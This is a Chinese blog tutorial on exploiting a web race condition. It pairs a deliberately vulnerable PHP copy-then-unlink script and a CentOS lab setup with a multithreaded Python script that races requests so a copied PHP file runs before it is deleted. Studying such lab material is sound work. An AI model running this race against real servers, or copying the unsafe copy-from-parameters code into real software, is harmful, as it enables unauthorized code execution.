WEB条件竞争利用
时间:2022-07-23
本文章向大家介绍WEB条件竞争利用,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
类似前言一样的东西
条件竞争是真的好玩,佛了
解释
先上例子
<?php
print("Hello,This is test server");
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
unlink($_GET['dst']);
}
else{
print("Error!");
?>
这是典型的条件竞争利用的点
正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除
那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了
具体的流程如下图 ↓
一目了然,小天才说的就是我吧
环境搭建
- 靶机: CentOS6.5
- PHP
首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境
Elapse.php和file.php的内容为
Elapse.php:
<?php
print("Hello,This is test server");
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
unlink($_GET['dst']);
}
else{
print("Error!");
?>
-----------优秀的分割线-----------
file.php:
<?php
$myfile = fopen("test.txt","w");
$txt = "ElapseNBn";
fwrite($myfile,$txt);
?>
具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程
import requests
import threading
url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php'
url2 = 'http://192.168.1.111/myfile.php'
def filecreate(url):
while True:
try:
requests.get(url)
except:
print("not find file")
def main():
threads = []
for e in range(10):
t1 = threading.Thread(target=filecreate,args=(url1,))
t2 = threading.Thread(target=filecreate,args=(url2,))
threads.append(t1)
threads.append(t2)
t1.start()
t2.start()
print("Successful!")
if __name__ == '__main__':
main()
创建两个线程,同时访问两个url 运行结果:
在服务器中可以看到多出来了一个文件,内容为ElapseNB
- shell基础学习总结(一) (r3笔记第63天)
- 关于sysdba,sysoper,dba的区别(r3笔记第62天)
- 使用句柄实现特定场景的无备份恢复 (r3笔记第61天)
- 关于dual表的破坏性测试(r3笔记第60天)
- 哈希现金(Hashcash)与“工作量证明”
- 关于oracle中的sql数据类型(r3笔记第59天)
- 使用awr来分析sesson leak问题(r3笔记第78天)
- 弹窗层效果的实现(非jQuery实现)
- 简单的导航栏实现
- js实现css3的过渡,需要注意的一点(浏览器优化)
- 居中详解
- 通过pl/sql计算程序的运行时间(r3笔记第77天)
- 操作系统存储管理和oracle数据库(第一篇) (r3笔记第76天)
- 关于虚拟索引的学习(r3笔记第75天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- AtCoder Beginner Contest 163 A~~D 详细代码讲解
- HUD 4841 (vector的用法)
- c++ 优先队列(priority_queue)的详细讲解用法
- HDU 1022(关于栈的详细解法)
- count_if函数的用法
- Codeforces Round #633 (Div. 2) A ~~C
- AtCoder Beginner Contest 162 A~~D
- P1036 选数
- P1028 数的计算
- P1598 垂直柱状图
- 递归解决全排列问题
- Codeforces Round #622 (Div. 2)A~~C1
- AtCoder Beginner Contest 156 A~~D
- AtCoder Beginner Contest 155
- Codeforces Round #620 (Div. 2) A~~D